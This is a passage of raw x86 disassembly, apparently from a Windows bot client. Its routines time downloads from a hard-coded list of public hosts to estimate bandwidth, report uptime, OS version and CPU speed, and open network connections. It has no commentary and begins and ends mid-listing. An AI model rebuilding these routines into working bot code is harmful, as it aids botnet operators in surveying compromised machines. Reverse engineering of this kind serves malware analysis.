[ebp+var_18] fmul flt_42770C fst [ebp+arg_0] fcomp flt_427708 fnstsw ax sahf jnz short loc_41AB3B fld1 fstp [ebp+arg_0] loc_41AB3B: ; CODE XREF: sub_41A9BC+178j push [ebp+var_4] call dword_4C939C push [ebp+var_8] call sub_41BA31 push esi call sub_41BA31 mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+arg_0] fmul flt_427704 fmul flt_427700 call sub_41CF04 loc_41AB75: ; CODE XREF: sub_41A9BC+1D9j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41AB7A: ; CODE XREF: sub_41A9BC+147j push [ebp+var_4] call dword_4C939C push [ebp+var_8] call sub_41BA31 push esi call sub_41BA31 pop ecx pop ecx loc_41AB93: ; CODE XREF: sub_41A9BC+19j ; sub_41A9BC+42j ... xor eax, eax jmp short loc_41AB75 sub_41A9BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AB97 proc near ; CODE XREF: sub_401AC7+2E2Ep var_26C = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_41A9A2 push [ebp+eax*4+var_3C] call sub_41A9BC push 8 mov esi, eax call sub_41A9A2 push [ebp+eax*4+var_3C] call sub_41A9BC add esp, 10h test esi, esi jz short loc_41AC98 test eax, eax jz short loc_41AC94 lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41AC9A ; --------------------------------------------------------------------------- loc_41AC94: ; CODE XREF: sub_41AB97+F4j mov ebx, esi jmp short loc_41AC9A ; --------------------------------------------------------------------------- loc_41AC98: ; CODE XREF: sub_41AB97+F0j mov ebx, eax loc_41AC9A: ; CODE XREF: sub_41AB97+FBj ; sub_41AB97+FFj push 0Ch call sub_41A9A2 push [ebp+eax*4+var_6C] call sub_41A9BC push 0Ch mov edi, eax call sub_41A9A2 push [ebp+eax*4+var_6C] call sub_41A9BC add esp, 10h test edi, edi jz short loc_41ACD2 test eax, eax jz short loc_41ACCE lea esi, [eax+edi] shr esi, 1 jmp short loc_41ACD4 ; --------------------------------------------------------------------------- loc_41ACCE: ; CODE XREF: sub_41AB97+12Ej mov esi, edi jmp short loc_41ACD4 ; --------------------------------------------------------------------------- loc_41ACD2: ; CODE XREF: sub_41AB97+12Aj mov esi, eax loc_41ACD4: ; CODE XREF: sub_41AB97+135j ; sub_41AB97+139j push 6 call sub_41A9A2 push [ebp+eax*4+var_1C] call sub_41A9BC push 6 mov edi, eax call sub_41A9A2 push [ebp+eax*4+var_1C] call sub_41A9BC add esp, 10h test edi, edi jz short loc_41AD0C test eax, eax jz short loc_41AD08 lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41AD0E ; --------------------------------------------------------------------------- loc_41AD08: ; CODE XREF: sub_41AB97+168j mov ecx, edi jmp short loc_41AD0E ; --------------------------------------------------------------------------- loc_41AD0C: ; CODE XREF: sub_41AB97+164j mov ecx, eax loc_41AD0E: ; CODE XREF: sub_41AB97+16Fj ; sub_41AB97+173j xor eax, eax test ebx, ebx jz short loc_41AD1B mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41AD1E ; --------------------------------------------------------------------------- loc_41AD1B: ; CODE XREF: sub_41AB97+17Bj push 2 pop edi loc_41AD1E: ; CODE XREF: sub_41AB97+182j test esi, esi jz short loc_41AD26 add eax, esi jmp short loc_41AD27 ; --------------------------------------------------------------------------- loc_41AD26: ; CODE XREF: sub_41AB97+189j dec edi loc_41AD27: ; CODE XREF: sub_41AB97+18Dj test ecx, ecx jz short loc_41AD2F add eax, ecx jmp short loc_41AD30 ; --------------------------------------------------------------------------- loc_41AD2F: ; CODE XREF: sub_41AB97+192j dec edi loc_41AD30: ; CODE XREF: sub_41AB97+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+var_26C] push offset dword_43A1B8 push eax call sub_41C006 push 0 lea eax, [ebp+var_26C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 lea eax, [ebp+var_26C] push eax call sub_415CEE add esp, 30h pop edi pop esi pop ebx leave retn sub_41AB97 endp ; =============== S U B R O U T I N E ======================================= sub_41AD74 proc near ; CODE XREF: sub_401AC7+2565p ; sub_401AC7+29B3p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi nop call near ptr 26B0D7Ah xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_4D95D0 push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_41C100 add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41AD74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ADDD proc near ; CODE XREF: sub_417269+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h nop call near ptr 26F0417h test eax, eax jz short loc_41AE70 cmp [ebp+var_90], 4 jnz short loc_41AE46 cmp [ebp+var_8C], esi jnz short loc_41AE2E cmp [ebp+var_84], 1 jnz short loc_41AE21 push 1 pop esi loc_41AE21: ; CODE XREF: sub_41ADDD+3Fj cmp [ebp+var_84], 2 jnz short loc_41AE70 push 1 jmp short loc_41AE6F ; --------------------------------------------------------------------------- loc_41AE2E: ; CODE XREF: sub_41ADDD+36j cmp [ebp+var_8C], 0Ah jnz short loc_41AE3B loc_41AE37: ; CODE XREF: sub_41ADDD+78j push 2 jmp short loc_41AE6F ; --------------------------------------------------------------------------- loc_41AE3B: ; CODE XREF: sub_41ADDD+58j cmp [ebp+var_8C], 5Ah jnz short loc_41AE70 jmp short loc_41AE60 ; --------------------------------------------------------------------------- loc_41AE46: ; CODE XREF: sub_41ADDD+2Ej cmp [ebp+var_90], 5 jnz short loc_41AE70 cmp [ebp+var_8C], esi jz short loc_41AE37 cmp [ebp+var_8C], 1 jnz short loc_41AE64 loc_41AE60: ; CODE XREF: sub_41ADDD+67j push 3 jmp short loc_41AE6F ; --------------------------------------------------------------------------- loc_41AE64: ; CODE XREF: sub_41ADDD+81j cmp [ebp+var_8C], 2 jnz short loc_41AE70 push 7 loc_41AE6F: ; CODE XREF: sub_41ADDD+4Fj ; sub_41ADDD+5Cj ... pop esi loc_41AE70: ; CODE XREF: sub_41ADDD+25j ; sub_41ADDD+4Bj ... mov eax, esi pop esi leave retn sub_41ADDD endp ; =============== S U B R O U T I N E ======================================= sub_41AE75 proc near ; CODE XREF: sub_41AF2B+290p push ebx push esi push edi mov esi, 0F4240h loc_41AE7D: ; CODE XREF: sub_41AE75+2Fj ; sub_41AE75+35j rdtsc push 3E8h mov edi, edx mov ebx, eax nop call near ptr 26A053Bh rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_41DBB0 mov edi, edx mov ebx, eax test edi, edi ja short loc_41AE7D jb short loc_41AEAC cmp ebx, esi ja short loc_41AE7D loc_41AEAC: ; CODE XREF: sub_41AE75+31j push 0 push 64h push edi push ebx call sub_41DC20 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_41AF1F jb short loc_41AECB cmp esi, 50h jnb short loc_41AED0 loc_41AECB: ; CODE XREF: sub_41AE75+4Fj push 4Bh xor edx, edx pop eax loc_41AED0: ; CODE XREF: sub_41AE75+54j test ecx, ecx ja short loc_41AF1F jb short loc_41AEDB cmp esi, 47h jnb short loc_41AEE0 loc_41AEDB: ; CODE XREF: sub_41AE75+5Fj push 42h xor edx, edx pop eax loc_41AEE0: ; CODE XREF: sub_41AE75+64j test ecx, ecx ja short loc_41AF1F jb short loc_41AEEB cmp esi, 37h jnb short loc_41AEF0 loc_41AEEB: ; CODE XREF: sub_41AE75+6Fj push 32h xor edx, edx pop eax loc_41AEF0: ; CODE XREF: sub_41AE75+74j test ecx, ecx ja short loc_41AF1F jb short loc_41AEFB cmp esi, 26h jnb short loc_41AF00 loc_41AEFB: ; CODE XREF: sub_41AE75+7Fj push 21h xor edx, edx pop eax loc_41AF00: ; CODE XREF: sub_41AE75+84j test ecx, ecx ja short loc_41AF1F jb short loc_41AF0B cmp esi, 1Eh jnb short loc_41AF10 loc_41AF0B: ; CODE XREF: sub_41AE75+8Fj push 19h xor edx, edx pop eax loc_41AF10: ; CODE XREF: sub_41AE75+94j test ecx, ecx ja short loc_41AF1F jb short loc_41AF1B cmp esi, 0Ah jnb short loc_41AF1F loc_41AF1B: ; CODE XREF: sub_41AE75+9Fj xor eax, eax xor edx, edx loc_41AF1F: ; CODE XREF: sub_41AE75+4Dj ; sub_41AE75+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_41AE75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AF2B proc near ; CODE XREF: sub_401AC7+2711p var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset byte_43B4B8 mov [ebp+var_CC], 94h call near ptr 26F0417h nop xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_41AFB2 cmp [ebp+var_C4], ebx jnz short loc_41AF8E cmp [ebp+var_BC], 1 jnz short loc_41AF78 mov [ebp+var_4], offset dword_431630 loc_41AF78: ; CODE XREF: sub_41AF2B+44j cmp [ebp+var_BC], 2 jnz loc_41B02D mov [ebp+var_4], offset dword_43162C jmp short loc_41AFFE ; --------------------------------------------------------------------------- loc_41AF8E: ; CODE XREF: sub_41AF2B+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_41AFA0 mov [ebp+var_4], offset dword_431628 jmp short loc_41AFF5 ; --------------------------------------------------------------------------- loc_41AFA0: ; CODE XREF: sub_41AF2B+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_41AFEE mov [ebp+var_4], offset dword_431624 jmp short loc_41AFF5 ; --------------------------------------------------------------------------- loc_41AFB2: ; CODE XREF: sub_41AF2B+33j cmp [ebp+var_C8], 5 jnz short loc_41AFEE cmp [ebp+var_C4], ebx jnz short loc_41AFCC mov [ebp+var_4], offset dword_431620 jmp short loc_41AFF5 ; --------------------------------------------------------------------------- loc_41AFCC: ; CODE XREF: sub_41AF2B+96j cmp [ebp+var_C4], 1 jnz short loc_41AFDE mov [ebp+var_4], offset dword_43161C jmp short loc_41AFF5 ; --------------------------------------------------------------------------- loc_41AFDE: ; CODE XREF: sub_41AF2B+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_41AFF5 loc_41AFEE: ; CODE XREF: sub_41AF2B+7Cj ; sub_41AF2B+8Ej mov [ebp+var_4], offset dword_431614 loc_41AFF5: ; CODE XREF: sub_41AF2B+73j ; sub_41AF2B+85j ... cmp [ebp+var_BC], 2 jnz short loc_41B02D loc_41AFFE: ; CODE XREF: sub_41AF2B+61j cmp [ebp+var_B8], bl jz short loc_41B02D lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset dword_4363DC push eax call sub_41C006 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_41B02D: ; CODE XREF: sub_41AF2B+54j ; sub_41AF2B+D1j ... mov ax, word_437BD4 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_4C91E4 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_41B066 lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax loc_41B066: ; CODE XREF: sub_41AF2B+12Cj push [ebp+arg_4] call sub_40A9FA pop ecx push eax call dword_4C9344 mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4C92BC cmp eax, ebx jz short loc_41B08F push dword ptr [eax] jmp short loc_41B094 ; --------------------------------------------------------------------------- loc_41B08F: ; CODE XREF: sub_41AF2B+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_41B094: ; CODE XREF: sub_41AF2B+162j lea eax, [ebp+var_3E4] push eax call sub_41C006 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax call near ptr 26A0000h nop lea eax, [ebp+var_114] push 46h push eax push offset dword_43A4A0 push ebx mov esi, 409h push ebx push esi nop call near ptr 2750000h lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi nop call near ptr 27415C0h push 20h lea eax, [ebp+var_38] push ebx push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+var_38] push eax nop call near ptr 2870000h push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_41C151 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_416D8D push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_41AD74 add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40A9FA pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_416C7D pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_416C7D pop ecx pop ecx push eax call sub_41AE75 push edx push eax push offset dword_43A3C4 push 200h push [ebp+arg_0] call sub_41C100 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_41AF2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B1DF proc near ; CODE XREF: sub_401AC7+273Fp ; sub_401AC7+71F4p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_41BD10 add esp, 0Ch cmp dword_4C93EC, 0 jnz short loc_41B253 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_4C91C8 test eax, eax jnz short loc_41B234 lea eax, [ebp+var_8C] push offset dword_43A518 push eax call sub_41C006 pop ecx pop ecx loc_41B234: ; CODE XREF: sub_41B1DF+40j test [ebp+var_C], 1 jz short loc_41B24C push offset dword_43A510 loc_41B23F: ; CODE XREF: sub_41B1DF+72j lea eax, [ebp+var_8] push eax call sub_41C006 pop ecx pop ecx jmp short loc_41B272 ; --------------------------------------------------------------------------- loc_41B24C: ; CODE XREF: sub_41B1DF+59j push offset off_43A50C jmp short loc_41B23F ; --------------------------------------------------------------------------- loc_41B253: ; CODE XREF: sub_41B1DF+28j mov esi, offset off_43A508 lea eax, [ebp+var_8] push esi push eax call sub_41C006 lea eax, [ebp+var_8C] push esi push eax call sub_41C006 add esp, 10h loc_41B272: ; CODE XREF: sub_41B1DF+6Bj push [ebp+arg_4] push [ebp+arg_8] call sub_40A9FA pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset dword_43A4C4 push 200h push [ebp+arg_0] call sub_41C100 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_41B1DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B2A5 proc near ; DATA XREF: sub_401AC7+75A0o var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_43A5F8 call sub_41BD10 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_41BD10 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_41BD10 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_41BD10 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_41BD10 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_41B960 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_4C9200 test eax, eax jz loc_41B43F cmp [ebp+var_34], ebx jbe short loc_41B37C push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_41BD70 add esp, 0Ch loc_41B37C: ; CODE XREF: sub_41B2A5+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_41B39A push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_41BD70 add esp, 0Ch loc_41B39A: ; CODE XREF: sub_41B2A5+DEj cmp [ebp+var_20], ebx jbe short loc_41B3B4 push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_41BD70 add esp, 0Ch loc_41B3B4: ; CODE XREF: sub_41B2A5+F8j cmp [ebp+var_18], ebx jbe short loc_41B3CE push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_41BD70 add esp, 0Ch loc_41B3CE: ; CODE XREF: sub_41B2A5+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_4C92B4 call dword_4C92D8 mov esi, eax cmp esi, ebx jz short loc_41B457 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_4C92CC cmp eax, ebx mov [ebp+var_4], eax jz short loc_41B45E push ebx push ebx push ebx push ebx push eax call dword_4C9278 test eax, eax jz short loc_41B438 push offset dword_43A5DC jmp short loc_41B463 ; --------------------------------------------------------------------------- loc_41B438: ; CODE XREF: sub_41B2A5+18Aj push offset unk_43A5A0 jmp short loc_41B463 ; --------------------------------------------------------------------------- loc_41B43F: ; CODE XREF: sub_41B2A5+B7j lea eax, [ebp+var_55C] push offset dword_43A584 push eax call sub_41C006 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_41B471 ; --------------------------------------------------------------------------- loc_41B457: ; CODE XREF: sub_41B2A5+153j push offset unk_43A558 jmp short loc_41B463 ; --------------------------------------------------------------------------- loc_41B45E: ; CODE XREF: sub_41B2A5+17Bj push offset unk_43A528 loc_41B463: ; CODE XREF: sub_41B2A5+191j ; sub_41B2A5+198j ... lea eax, [ebp+var_55C] push eax call sub_41C006 pop ecx pop ecx loc_41B471: ; CODE XREF: sub_41B2A5+1B0j cmp [ebp+var_1D4], ebx jnz short loc_41B49C push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_409862 add esp, 14h loc_41B49C: ; CODE XREF: sub_41B2A5+1D2j lea eax, [ebp+var_55C] push eax call sub_415CEE pop ecx push esi call dword_4C9338 push [ebp+var_4] call dword_4C9338 push [ebp+var_1D8] call sub_40B6C9 pop ecx push ebx call near ptr 2700000h nop pop edi pop esi pop ebx sub_41B2A5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41B4CF proc near ; CODE XREF: sub_401AC7+4FA4p arg_0 = dword ptr 4 push esi push 100h mov esi, offset byte_4D960C push 0 push esi call sub_41BD10 push [esp+10h+arg_0] push offset aS_1 ; "%s" push 0FFh push esi call sub_41C100 add esp, 1Ch pop esi retn sub_41B4CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B4FB proc near ; CODE XREF: ___:0041B7E3p ; ___:0041B800p ... var_14 = byte ptr -14h var_C = byte ptr -0Ch var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push esi push edi mov esi, offset dword_4CC030 lea edi, [ebp+var_C] mov ax, word_43A5FC movsd movsb mov esi, offset dword_4D970C lea edi, [ebp+var_14] mov [ebp+var_2], ax mov ax, word_433ED8 movsd mov [ebp+var_6], ax mov ax, word_4C91BC movsw mov [ebp+var_4], ax mov eax, [ebp+arg_8] xor esi, esi cmp eax, esi jnz loc_41B5C7 mov edi, [ebp+arg_0] push ebx mov ebx, [ebp+arg_4] mov [ebp+arg_8], esi loc_41B54D: ; CODE XREF: sub_41B4FB+C7j mov eax, [ebp+arg_8] sub eax, esi jz short loc_41B56D dec eax jnz short loc_41B5BB push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4C9354 push esi push 1 lea eax, [ebp+var_4] jmp short loc_41B581 ; --------------------------------------------------------------------------- loc_41B56D: ; CODE XREF: sub_41B4FB+57j push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4C9354 push esi push 1 lea eax, [ebp+var_6] loc_41B581: ; CODE XREF: sub_41B4FB+70j push eax push edi call dword_4C9354 push ebx call sub_41B960 pop ecx cmp eax, 2 push esi jnz short loc_41B59D push 4 lea eax, [ebp+var_C] jmp short loc_41B5A2 ; --------------------------------------------------------------------------- loc_41B59D: ; CODE XREF: sub_41B4FB+99j push 5 lea eax, [ebp+var_14] loc_41B5A2: ; CODE XREF: sub_41B4FB+A0j push eax push edi call dword_4C9354 push esi push ebx call sub_41B960 pop ecx push eax push ebx push edi call dword_4C9354 loc_41B5BB: ; CODE XREF: sub_41B4FB+5Aj inc [ebp+arg_8] cmp [ebp+arg_8], 1 jle short loc_41B54D pop ebx jmp short loc_41B63D ; --------------------------------------------------------------------------- loc_41B5C7: ; CODE XREF: sub_41B4FB+42j dec eax jz short loc_41B5E6 dec eax jnz short loc_41B63D mov edi, [ebp+arg_0] push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4C9354 push esi push 1 lea eax, [ebp+var_4] jmp short loc_41B5FD ; --------------------------------------------------------------------------- loc_41B5E6: ; CODE XREF: sub_41B4FB+CDj mov edi, [ebp+arg_0] push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4C9354 push esi push 1 lea eax, [ebp+var_6] loc_41B5FD: ; CODE XREF: sub_41B4FB+E9j push eax push edi call dword_4C9354 push [ebp+arg_4] call sub_41B960 pop ecx cmp eax, 2 push esi jnz short loc_41B61B push 4 lea eax, [ebp+var_C] jmp short loc_41B620 ; --------------------------------------------------------------------------- loc_41B61B: ; CODE XREF: sub_41B4FB+117j push 5 lea eax, [ebp+var_14] loc_41B620: ; CODE XREF: sub_41B4FB+11Ej push eax push edi call dword_4C9354 push esi push [ebp+arg_4] call sub_41B960 pop ecx push eax push [ebp+arg_4] push edi call dword_4C9354 loc_41B63D: ; CODE XREF: sub_41B4FB+CAj ; sub_41B4FB+D0j pop edi pop esi leave retn sub_41B4FB endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 288h push ebx push esi push edi mov esi, offset dword_43A614 lea edi, [ebp-38h] mov ax, word_433ED8 movsd movsd movsd movsb mov esi, offset dword_43A610 lea edi, [ebp-1Ch] movsw movsb mov esi, offset dword_4CC030 lea edi, [ebp-28h] movsd movsb mov esi, offset dword_43A60C lea edi, [ebp-10h] movsw movsb mov esi, offset dword_43A608 lea edi, [ebp-14h] movsw movsb mov esi, offset dword_43A604 lea edi, [ebp-0Ch] movsw movsb xor esi, esi mov [ebp-6], ax mov [ebp-16h], ax mov ax, word ptr aR ; "r" push esi push 1 push 2 mov [ebp-18h], ax xor edi, edi call dword_4C9384 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41B6C4 push eax call dword_4C939C loc_41B6C4: ; CODE XREF: ___:0041B6BBj lea eax, [ebp+0Ch] mov word ptr [ebp-48h], 2 push eax call dword_4C9344 push dword ptr [ebp+0A8h] mov [ebp-44h], eax call dword_4C9304 mov [ebp-46h], ax lea eax, [ebp-48h] push 10h push eax push ebx call dword_4C92AC test eax, eax jnz loc_41B7C0 loc_41B6FC: ; CODE XREF: ___:0041B76Ej ; ___:0041B7A5j push 40h lea eax, [ebp-88h] push esi push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp-88h] push esi push 40h push eax push ebx call dword_4C931C cmp eax, esi jle loc_41B7CE cmp eax, 0FFFFFFFFh jz loc_41B7CE mov eax, edi sub eax, esi jz short loc_41B770 dec eax jz short loc_41B73E dec eax jz short loc_41B7AA jmp short loc_41B7A0 ; --------------------------------------------------------------------------- loc_41B73E: ; CODE XREF: ___:0041B737j lea eax, [ebp-1Ch] push eax lea eax, [ebp-88h] push eax call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_41B7C0 lea eax, [ebp-6] push esi push eax call sub_41B960 pop ecx push eax lea eax, [ebp-6] push eax push ebx call dword_4C9354 push 2 pop edi jmp short loc_41B6FC ; --------------------------------------------------------------------------- loc_41B770: ; CODE XREF: 